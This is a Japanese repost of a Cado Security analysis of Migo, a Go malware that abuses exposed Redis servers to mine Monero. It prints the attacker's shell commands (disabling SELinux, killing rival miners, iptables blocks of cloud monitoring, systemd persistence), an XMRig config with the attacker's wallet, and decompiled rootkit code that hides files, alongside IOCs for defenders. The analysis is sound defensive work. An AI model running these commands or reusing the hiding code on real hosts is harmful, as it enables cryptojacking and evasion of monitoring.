コンテンツにスキップするには Enter キーを押してください

Redisマルウェアキャンペーン:Migoが初期アクセスを獲得しRedisの保護モードとレプリカ機能を無効化

導入

Cado Security Labsの研究者たちは最近、初期アクセスのためにRedisを標的とする新たなマルウェアキャンペーンに遭遇しました。Linuxやクラウドに焦点を当てた攻撃者によるRedisの悪用は珍しくありませんが、このキャンペーンでは、データストア自体に対するいくつかの新たなシステム弱体化技術が使用されています。

開発者によってMigoと名付けられたこのマルウェアは、基盤となるLinuxホストで暗号通貨をマイニングする目的でRedisサーバーを侵害することを目指しています。

概要:

  • 野生で観察された新たなRedisシステム弱体化コマンド
  • このキャンペーンは、これらのコマンドを利用してRedisを悪用し、クリプトジャッキング攻撃を実施します
  • Migoは、コンパイル時の難読化とLinuxホスト上での永続性を備えたGolang ELFバイナリとして配信されます
  • マルウェアによって、プロセスとディスク上のアーティファクトを隠すための人気のあるユーザーモードルートキットの変更版が展開されます

初期アクセス

Cadoの研究者たちは、Redisハニーポットを標的とした異常な一連のコマンドに気づいた後、Migoキャンペーンに最初に警告されました。

IP 103[.]79[.]118[.]221の悪意のあるノードがハニーポットに接続し、Redisコマンドラインインターフェース(CLI)のconfig set機能を使用して以下の設定オプションを無効にしました:

  • set protected-mode
  • replica-read-only
  • aof-rewrite-incremental-fsync
  • rdb-save-incremental-fsync

これらの設定を無効にする攻撃者の動機を詳しく説明すると、攻撃の理解が深まります。

set protected-mode

保護モードは、Redisサーバーが外部ネットワークに誤って露出してしまったユーザーを緩和するために設計されたRedisサーバーの運用モードです。

バージョン3.2.0で導入された保護モードは、Redisサーバーがデフォルトの設定(すなわち、すべてのネットワーキングインターフェースにバインドされている)でデプロイされ、パスワード認証が有効になっていない場合に有効になります。このモードでは、Redisサーバーはループバックインターフェースからの接続のみを受け入れ、他の接続はエラーを受け取ります。

攻撃者がループバックインターフェースにアクセスできず、代わりに外部から接続を試みているため、このコマンドは保護モードが有効なRedisサーバーでは自動的に失敗するはずです。攻撃者はこの機能を誤解しており、機会主義的な方法でいくつかのシステム弱体化コマンドを発行しようとしている可能性があります。

この機能はCadoのハニーポット環境では無効にされているため、これらのコマンドと追加の目的のためのアクションが成功します。

Redisハニーポットセンサーによって観測された保護モード無効化コマンド

replica-read-only

名前が示すように、replica-read-only 機能は、Redis レプリカ(マスターRedisインスタンスの正確なコピー)がすべての書き込みコマンドを拒否するように設定します。この設定パラメーターはデフォルトで有効になっており、レプリカへの偶発的な書き込みが発生し、マスター/レプリカのトポロジーが同期から外れるのを防ぐためです。

Cadoの研究者たちは以前、Redisインスタンスに悪意のあるペイロードを配信するために使用されるレプリケーション機能の悪用について報告しています。Migoの背後にいる攻撃者は、将来のRedisサーバーの悪用を容易にするために、この機能を無効にしている可能性があります。

Redisハニーポットセンサーによって観測されたaof-rewrite-incremental-fsync無効化コマンド

これらの設定パラメーターを無効にした後、攻撃者はsetコマンドを使用して2つの別々のRedisキーの値を設定します。一つのキーには攻撃者が制御する悪意のあるSSHキーに対応する文字列値が割り当てられ、もう一つにはTransfer.sh(以前にCadoで取り上げられた比較的珍しい配布メカニズム)から悪意のある主要ペイロードを取得するCronジョブが割り当てられます。

攻撃者はその後、Redis自体の作業ディレクトリを変更する一連のコマンドに続いて、データベースの内容を保存します。作業ディレクトリがCronディレクトリの一つである場合、ファイルはcrondによって解析され、通常のCronジョブとして実行されます。これはRedisサーバーに対する一般的な攻撃パターンであり、Cado他者によって以前に文書化されています。

_悪意のあるCronジョブを登録するためにMARKDOWN_HASHcdaeeeba9b4a4c5ebf042c0215a7bb0eMARKDOWN<em>HASH</em>コマンドを悪用

上記のように、攻撃者はmimigoという名前のキーを作成し、それを使用して/tmp/.xxx1にファイルが存在するかどうかを最初に確認するCronジョブを登録します。存在しない場合、簡単なスクリプトがPastebinからcurlまたはwgetを使用して取得され、shを通じて直接メモリ内で実行されます。

Transfer.shから主要ペイロードを取得するために使用されるPastebinスクリプト

この

スクリプトは、Transfer.shからMigoマルウェアをダウンロードし、それを実行します。Migoは、コンパイル時の難読化とLinuxホスト上での永続性を備えたGolang ELFバイナリです。このマルウェアは、プロセスとディスク上のアーティファクトを隠すための人気のあるユーザーモードルートキットの変更版を展開します。

プライマリペイロード - 静的プロパティ

Migoのプライマリペイロード(/tmp/.migo)は、静的リンクされた、ストリップされたUPXパックされたELFで、x86_64アーキテクチャ用のGoコードからコンパイルされています。サンプルはバニラUPXパッキング(つまり、UPXヘッダーがそのまま)を使用しており、upx -dを使用して簡単にアンパックできます。

アンパック後、バイナリの.gopclntabセクションの分析は、攻撃者がコンパイル時の難読化器を使用して、内部シンボルに関連するさまざまな文字列を難読化していることを強調しています。バイナリがすでにストリップされている場合、なぜこれが必要か疑問に思うかもしれませんが、答えはGoプログラミング言語の「プログラムカウンターラインテーブル(pclntab)」という機能にあります。

簡単に言うと、pclntabはGo ELFバイナリの.gopclntabセクションに位置する構造体です。これは、スタックトレースを生成するために、仮想アドレスをシンボル名にマッピングするために使用できます。これにより、バイナリがストリップされた場合でも、リバースエンジニアがバイナリからシンボルを回復する能力が与えられます。これについての詳細は、Mandiantの優れたブログGolangシンボル回復を参照してください。

Migoの開発者はこれを認識しており、スタックトレースにマルウェアの機能が表示されたり、リバースエンジニアによって簡単に回復されたりするのを防ぐために、追加のコンパイル時の難読化を適用することを選択しています。

gopclntabセクションのコンパイル時シンボル難読化

IDAの関数認識エンジンの助けを借りて、バイナリによって使用されるいくつかのGoパッケージ(ライブラリ)を見ることができます。これには、Linuxホストでシェルコマンドを実行するために使用されるos/exec、特定の環境変数の値を取得するためのos.GetEnv、ファイルを開くためのos.Openなど、OSパッケージの関数が含まれます。

IDAによって識別されたOSライブラリ関数の例

さらに、マルウェアにはHTTPリクエストを実行するためのnetパッケージ、JSONデータを扱うためのencoding/jsonパッケージ、gzipアーカイブを処理するためのcompress/gzipパッケージが含まれています。

プライマリペイロード - 機能

実行後すぐに、Migoバイナリは/tmp/.migo_runningにある感染マーカーを確認します。このファイルが存在しない場合、マルウェアはそれを作成し、自身のプロセスIDを決定してファイルに書き出します。これにより、攻撃者は、再びそれに遭遇した場合、マシンが以前に侵害されたことを知ることができます。

newfstatat(AT_FDCWD, "/tmp/.migo_running", 0xc00010ac68, 0) = -1 ENOENT (No such file or directory)
getpid()                                = 2557
openat(AT_FDCWD, "/tmp/.migo_running", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 6
fcntl(6, F_GETFL)                       = 0x8002 (flags O_RDWR|O_LARGEFILE)
fcntl(6, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0
epoll_ctl(3, EPOLL_CTL_ADD, 6, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473793, u64=9169307754234380289}}) = -1 EPERM (Operation not permitted)
fcntl(6, F_GETFL)                       = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE)
fcntl(6, F_SETFL, O_RDWR|O_LARGEFILE)   = 0
write(6, "2557", 4)                     = 4
close(6)                                = 0

Migoは、GitHubのCDNから直接tar.gz形式のXMRigインストーラーを取得し、インストーラーアーカイブを/tmp/.migo_worker/.worker.tar.gzとして保存する新しいディレクトリ/tmp/.migo_workerを作成します。当然、Migoはこのアーカイブを解凍し、XMRigバイナリを/tmp/.migo_worker/.migo_workerとして保存します。インストールアーカイイブにはデフォルトのXMRig設定ファイルが含まれており、マルウェアによって動的に書き換えられ、/tmp/.migo_worker/.migo.jsonとして保存されます。

openat(AT_FDCWD, "/tmp/.migo_worker/config.json", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 9
fcntl(9, F_GETFL)                       = 0x8002 (flags O_RDWR|O_LARGEFILE)
fcntl(9, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0
epoll_ctl(3, EPOLL_CTL_ADD, 9, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473930, u64=9169307754234380426}}) = -1 EPERM (Operation not permitted)
fcntl(9, F_GETFL)                       = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE)
fcntl(9, F_SETFL, O_RDWR|O_LARGEFILE)   = 0
write(9, "{\n    \"api\": {\n        \"id\": null,\n        \"worker-id\": null\n    },\n    \"http\": {\n        \"enabled\": false,\n        \"host\": \"127.0.0.1\",\n        \"port\": 0,\n        \"access-token\": null,\n        \"restricted\": true\n    },\n    \"autosave\": true,\n    \"background\": false,\n    \"colors\": true,\n    \"title\": true,\n    \"randomx\": {\n        \"init\": -1,\n        \"init-avx2\": -1,\n        \"mode\": \"auto\",\n        \"1gb-pages\": false,\n        \"rdmsr\": true,\n        \"wrmsr\": true,\n        \"cache_qos\": false,\n        \"numa\": true,\n        \"scratchpad_prefetch_mode\": 1\n    },\n    \"cpu\": {\n        \"enabled\": true,\n        \"huge-pages\": true,\n        \"huge-pages-jit\": false,\n        \"hw-aes\": null,\n        \"priority\": null,\n        \"memory-pool\": false,\n        \"yield\": true,\n        \"asm\": true,\n        \"argon2-impl\": null,\n        \"argon2\": [0, 1],\n        \"cn\": [\n            [1, 0],\n            [1, 1]\n        ],\n        \"cn-heavy\": [\n            [1, 0],\n            [1, 1]\n        ],\n        \"cn-lite\": [\n            [1, 0],\n            [1, 1]\n        ],\n        \"cn-pico\": [\n            [2, 0],\n            [2, 1]\n        ],\n        \"cn/upx2\": [\n            [2, 0],\n            [2, 1]\n        ],\n        \"ghostrider\": [\n            [8, 0],\n            [8, 1]\n        ],\n        \"rx\": [0, 1],\n        \"rx/wow\": [0, 1],\n        \"cn-lite/0\": false,\n        \"cn/0\": false,\n        \"rx/arq\": \"rx/wow\",\n        \"rx/keva\": \"rx/wow\"\n    },\n    \"log-file\": null,\n    \"donate-level\": 1,\n    \"donate-over-proxy\": 1,\n    \"pools\": [\n        {\n            \"algo\": null,\n            \"coin\": null,\n            \"url\": \"xmrpool.eu:9999\",\n            \"user\": \"85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz\",\n            \"pass\": null,\n            \"rig-id\": null,\n            \"nicehash\": false,\n            \"keepalive\": true,\n            \"enabled\": true,\n            \"tls\": true,\n            \"sni\": false,\n            \"tls-fingerprint\": null,\n            \"daemon\": false,\n            \"socks5\": null,\n            \"self-select\": null,\n            \"submit-to-origin\": false\n        },\n        {\n            \"algo\": null,\n            \"coin\": null,\n            \"url\": \"pool.hashvault.pro:443\",\n            \"user\": \"85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz\",\n            \"pass\": \"migo\",\n            \"rig-id\": null,\n            \"nicehash\": false,\n            \"keepalive\": true,\n            \"enabled\": true,\n            \"tls\": true,\n            \"sni\": false,\n            \"tls-fingerprint\": null,\n            \"daemon\": false,\n            \"socks5\": null,\n            \"self-select\": null,\n            \"submit-to-origin\": false\n        },\n        {\n            \"algo\": null,\n            \"coin\": \"XMR\",\n            \"url\": \"xmr-jp1.nanopool.org:14433\",\n            \"user\": \"85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz\",\n            \"pass\": null,\n            \"rig-id\": null,\n            \"nicehash\": false,\n            \"keepalive\": false,\n            \"enabled\": true,\n            \"tls\": true,\n            \"sni\": false,\n            \"tls-fingerprint\": null,\n            \"daemon\": false,\n            \"socks5\": null,\n            \"self-select\": null,\n            \"submit-to-origin\": false\n        },\n        {\n            \"algo\": null,\n            \"coin\": null,\n            \"url\": \"pool.supportxmr.com:443\",\n            \"user\": \"85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJ

YZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz\",\n            \"pass\": \"migo\",\n            \"rig-id\": null,\n            \"nicehash\": false,\n            \"keepalive\": true,\n            \"enabled\": true,\n            \"tls\": true,\n            \"sni\": false,\n            \"tls-fingerprint\": null,\n            \"daemon\": false,\n            \"socks5\": null,\n            \"self-select\": null,\n            \"submit-to-origin\": false\n        }\n    ],\n    \"retries\": 5,\n    \"retry-pause\": 5,\n    \"print-time\": 60,\n    \"dmi\": true,\n    \"syslog\": false,\n    \"tls\": {\n        \"enabled\": false,\n        \"protocols\": null,\n        \"cert\": null,\n        \"cert_key\": null,\n        \"ciphers\": null,\n        \"ciphersuites\": null,\n        \"dhparam\": null\n    },\n    \"dns\": {\n        \"ipv6\": false,\n        \"ttl\": 30\n    },\n    \"user-agent\": null,\n    \"verbose\": 0,\n    \"watch\": true,\n    \"pause-on-battery\": false,\n    \"pause-on-active\": false\n}\n", 2346) = 2346
newfstatat(AT_FDCWD, "/tmp/.migo_worker/.migo.json", 0xc00010ad38, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory)
renameat(AT_FDCWD, "/tmp/.migo_worker/config.json", AT_FDCWD, "/tmp/.migo_worker/.migo.json") = 0

マイナーがインストールされ、XMRig設定が設定された後、マルウェアはシステムに関する情報をいくつか照会します。これには、ログインしているユーザーの数(wバイナリを介して)やシステム上のユーザーのリソース制限などが含まれます。また、vm.nr_hugepagesパラメーターを使用してシステム上で利用可能なHuge Pagesの数を128に設定します。これらのアクションは、クリプトジャッキングマルウェアにとってかなり典型的です。

{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": false,
        "host": "127.0.0.1",
        "port": 0,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": -1,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "asm": true,
        "argon2-impl": null,
        "argon2": [0, 1],
        "cn": [
            [1, 0],
            [1, 1]
        ],
        "cn-heavy": [
            [1, 0],
            [1, 1]
        ],
        "cn-lite": [
            [1, 0],
            [1, 1]
        ],
        "cn-pico": [
            [2, 0],
            [2, 1]
        ],
        "cn/upx2": [
            [2, 0],
            [2, 1]
        ],
        "ghostrider": [
            [8, 0],
            [8, 1]
        ],
        "rx": [0, 1],
        "rx/wow": [0, 1],
        "cn-lite/0": false,
        "cn/0": false,
        "rx/arq": "rx/wow",
        "rx/keva": "rx/wow"
    },
    "log-file": null,
    "donate-level": 1,
    "donate-over-proxy": 1,
    "pools": [
        {
            "algo": null,
            "coin": null,
            "url": "xmrpool.eu:9999",
            "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz",
            "pass": null,
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": true,
            "sni": false,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
        {
            "algo": null,
            "coin": null,
            "url": "pool.hashvault.pro:443",
            "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz",
            "pass": "migo",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": true,
            "sni": false,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
        {
            "algo": null,
            "coin": "XMR",
            "url": "xmr-jp1.nanopool.org:14433",
            "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz",
            "pass": null,
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "sni": false,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
        {
            "algo": null,
            "coin": null,
            "url": "pool.supportxmr.com:443",
            "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz",
            "pass": "migo",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": true,
            "sni": false,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "retries": 5,
    "retry-pause": 5,
    "print-time": 60,
    "dmi": true,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "dns": {
        "ipv6": false,
        "ttl": 30
    },
    "user-agent": null,
    "verbose": 0,
    "watch": true,
    "pause-on-battery": false,
    "pause-on-active": false
}

興味深いことに、Migoは/etcの下にあるファイルとディレクトリを再帰的に反復処理しようとします。マルウェアはこれらの場所のファイルを単に読み取り、内容を何もしません。これは、大量の無害な行動を実行することによってサンドボックスと動的分析ソリューションを混乱させ、非悪意のある分類につながる可能性のある(弱い)試みである可能性があります。また、マルウェアがターゲット環境に固有のアーティファクトを探している可能性もありますが、分析環境からはそのような証拠は見つかりませんでした。

これが完了すると、バイナリは/proc/self/exeのシンボリックリンクを介して/tmpにコピーされ、永続性を登録する前に一連のシェルコマンドが実行されます。これらのコマンドの例は以下の通りです。

/bin/chmod +x /tmp/.migo
/bin/sh -c "echo SELINUX=disabled > /etc/sysconfig/selinux"
/bin/sh -c "ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh"
/bin/sh -c "ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh"
/bin/sh -c command -v setenforce
/bin/sh -c command -v systemctl
/bin/sh -c setenforce 0
go_worker --config /tmp/.migo_worker/.migo.json
bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /home"
bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /root"
bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /tmp"
bash -c "systemctl start system-kernel.timer && systemctl enable system-kernel.timer"
iptables -A OUTPUT -d 10.148.188.201 -j DROP
iptables -A OUTPUT -d 10.148.188.202 -j DROP
iptables -A OUTPUT -d 11.149.252.51 -j DROP
iptables -A OUTPUT -d 11.149.252.57 -j DROP
iptables -A OUTPUT -d 11.149.252.62 -j DROP
iptables -A OUTPUT -d 11.177.124.86 -j DROP
iptables -A OUTPUT -d 11.177.125.116 -j DROP
iptables -A OUTPUT -d 120.232.65.223 -j DROP
iptables -A OUTPUT -d 157.148.45.20 -j DROP
iptables -A OUTPUT -d 169.254.0.55 -j DROP
iptables -A OUTPUT -d 183.2.143.163 -j DROP
iptables -C OUTPUT -d 10.148.188.201 -j DROP
iptables -C OUTPUT -d 10.148.188.202 -j DROP
iptables -C OUTPUT -d 11.149.252.51 -j DROP
iptables -C OUTPUT -d 11.149.252.57 -j DROP
iptables -C OUTPUT -d 11.149.252.62 -j DROP
iptables -C OUTPUT -d 11.177.124.86 -j DROP
iptables -C OUTPUT -d 11.177.125.116 -j DROP
iptables -

C OUTPUT -d 120.232.65.223 -j DROP
iptables -C OUTPUT -d 157.148.45.20 -j DROP
iptables -C OUTPUT -d 169.254.0.55 -j DROP
iptables -C OUTPUT -d 183.2.143.163 -j DROP
kill -9
ls /usr/local/aegis/aegis_client
ls /usr/local/aegis/aegis_update
ls /usr/local/cloudmonitor/cloudmonitorCtl.sh
ls /usr/local/qcloud/YunJing/uninst.sh
ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh
ls /usr/local/qcloud/stargate/admin/uninstall.sh
ls /var/lib/qcloud/YunJing/uninst.sh
lsattr /etc/cron.d/0hourly
lsattr /etc/cron.d/raid-check
lsattr /etc/cron.d/sysstat
lsattr /etc/crontab
sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"
sh -c "ps -ef | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9"
sh -c "ps -ef | grep -v grep | grep ddgs | awk '{print $2}' | xargs kill -9"
sh -c "ps -ef | grep -v grep | grep f2poll | awk '{print $2}' | xargs kill -9"
sh -c "ps -ef | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9"
sh -c "ps -ef | grep -v grep | grep hashfish | awk '{print $2}' | xargs kill -9"
sh -c "ps -ef | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9"
sh -c "ps -ef | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9"
sh -c "ps -ef | grep -v grep | grep t00ls.ru | awk '{print $2}' | xargs kill -9"
sh -c "ps -ef | grep -v grep | grep xmrig | awk '{print $2}' | xargs kill -9"
systemctl start system-kernel.timer
systemctl status firewalld

これらのアクションを要約すると、次のようになります:

  • 永続性メカニズムを介して実行されるように、コピーされたバイナリのバージョンを実行可能にします。
  • SELinuxを無効にし、QcloudやAlibaba Cloudなどのクラウドプロバイダーからのコンピュートインスタンスにバンドルされた監視エージェントのアンインストールスクリプトを検索します。
  • マイナーを実行し、ドロップされた設定を渡します。
  • 特定のIPへのアウトバウンドトラフィックをドロップするためにiptablesを設定します。
  • 類似のキャンペーンからの競合するマイナーやペイロードを終了させます。
  • system-kernel.timerというsystemdタイマーを介して永続性を登録します。

これらのアクションは、Cadoの研究者が分析した、東アジアのクラウドプロバイダーを標的とした以前のマイニングキャンペーンと一致しています。

Migoはまた、これらのクラウドプロバイダーに属するドメインへのアウトバウンドトラフィックを防ぐために、/etc/hostsに次の行を書き込み、これらのドメインごとにブラックホールを効果的に作成します。これは、監視エージェントや更新ソフトウェアがこれらのドメインに連絡し、設定されている可能性のあるアラートをトリガーするのを防ぐためである可能性が

高いです。

これにより、マルウェアが標的とするインフラストラクチャについてもいくつかの洞察が得られます。これらのドメインは、以前に議論したのと同じクラウドサービスプロバイダーに属しています。

/etc/hostsの変更された内容

永続性

上記のコマンドで見られるように、Migoはsystemdサービスと関連するsystemdタイマーを使用してターゲットホスト上で永続性を達成します。これらはそれぞれsystem-kernel.timerおよびsystem-kernel.serviceと名付けられています。

サービスユニットは単純で、Migoペイロードが実行可能であることを確認した後、それを起動します。マルウェアはまた、オープンファイルディスクリプタの許可される数(LimitNOFILEパラメーターを介して)を設定し、CPUシェアの重みを1000000に増やして、マイナーがCPUを完全に利用できるようにします。

system-kernel.serviceの例示的な内容

このサービスは、関連するsystemdタイマーによって制御され、マシンが起動してから5秒後に実行され、その後も5秒ごとに再実行されます。これにより、感染マーカーと組み合わせて、マイナーが実行され続け、マイニングプールに効果的に貢献できることが保証されます。

system-kernel.timerの例示的な内容

プロセス隠蔽

興味深いことに、Migoは自身によってドロップされたディスク上のアーティファクトをユーザーモードルートキットを使用して隠そうとします。これらのアーティファクトには、マルウェアがマイナーと設定ファイルを格納する/tmp/.migo_workerディレクトリの内容、および/tmp/.migoに位置するメインペイロードが含まれます。

これを達成するために、マルウェアは/etc/ld.so.preload/usr/local/lib/libsystemd.soに位置するLinux共有オブジェクトファイルを指すように更新し、Redisホスト上でダイナミックリンカーのハイジャックを実行します。この共有オブジェクトはMigoのプライマリペイロード内に埋め込まれており、実行時に抽出されます。

if ( !original_readdir )
{
  original_readdir = dlsym(0xFFFFFFFFFFFFFFFFLL, "readdir");
  if ( !original_readdir )
  {
    v1 = dlerror();
    fprintf(stderr, aDlsym_0, v1);
  }
}
do
  v5 = original_readdir(a1);
while ( v5
     && (get_dir_name(a1, s1, 256LL)
      && !strcmp(s1, "/proc")
      && get_process_name(v5 + 19, v4)
      && should_hide_entry(v4, &hiddenProcesses, 3LL)
      || should_hide_entry(v5 + 19, hiddenFiles, 4LL)
      || *(v5 + 18) == 4 && should_hide_entry(v5 + 19, &hiddenDirectories, 1LL)) );
return v5;

libsystemd.soのプロセスおよびファイル隠蔽機能のデコンパイラ出力

Libsystemd.soは、クリプトジャッキングキャンペーンで頻繁に使用されるオープンソースのlibprocesshiderプロジェクトに基づくプロセス隠蔽ツールです。この共有オブジェクトが配置されると、マルウェアはファイルおよびプロセスリスティングツール(ls, ps, topなど)の呼び出しを傍受し、ツールの出力から適切な行を隠します。

![](

https://www.cadosecurity.com/wp-content/uploads/image3-44.png)

隠すべきハードコードされたアーティファクトの例

結論

Migoは、クラウドに焦点を当てた攻撃者が技術を洗練させ、Web向けサービスの悪用能力を向上させ続けていることを示しています。このキャンペーンは、初期アクセス試みを妨げる可能性のあるデータストアのセキュリティ機能を無効にするために、いくつかのRedisシステム弱体化コマンドを利用しています。これらのコマンドは、Redisを初期アクセスに利用するキャンペーンで以前に報告されたことがありません。

Migoの開発者はまた、マルウェア分析プロセスを認識しており、リバースエンジニアリングを支援する可能性のあるpclntab構造内のシンボルと文字列を難読化するために追加のステップを踏んでいます。Goを使用してコンパイルされたバイナリをプライマリペイロードとして生成すること、以前のキャンペーンで見られた一連のシェルスクリプトの代わりに、Migoの背後にいる人々が技術を磨き、分析プロセスを複雑にし続けていることを示唆しています。

さらに、ユーザーモードルートキットの使用は、Migoによって侵害されたホストの事後インシデントフォレンジックを複雑にする可能性があります。libprocesshiderはクリプトジャッキングキャンペーンで頻繁に使用されますが、この特定のバリアントには、悪意のあるプロセス自体だけでなく、ディスク上のアーティファクトを隠す能力が含まれています。

Cadoがこのような脅威の調査を支援する方法を見るために、私たちのチームに連絡してデモを見てください。

インジケーター・オブ・コンプロマイズ

ファイル SHA256
/tmp/.migo (packed) 8cce669c8f9c5304b43d6e91e6332b1cf1113c81f355877dabd25198c3c3f208
/tmp/.migo_worker/.worker.tar.gz c5dc12dbb9bb51ea8acf93d6349d5bc7fe5ee11b68d6371c1bbb098e21d0f685
/tmp/.migo_worker/.migo_json 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec
/tmp/.migo_worker/.migo_worker (XMRig) 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c
system-kernel.service 5dc4a48ebd4f4be7ffcf3d2c1e1ae4f2640e41ca137a58dbb33b0b249b68759e
system-kernel.service 76ecd546374b24443d76c450cb8ed7226db84681ee725482d5b9ff4ce3273c7f
libsystemd.so 32d32bf0be126e685e898d0ac21d93618f95f405c6400e1c8b0a8a72aa753933

IPアドレス
103[.]79[.]118[.]221

引用元:https://www.cadosecurity.com/migo-a-redis-miner-with-novel-system-weakening-techniques/

投稿者コメント Alibaba, Tencentを使っているということは、中華系だと思うのですが、 XMR Mining Poolに日本鯖を使っている事、grep -v grepawk後のxargsを使っていることや、iptablesのベタ書き、ネーミングセンスから渋谷エンジニア文法の匂いがします。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です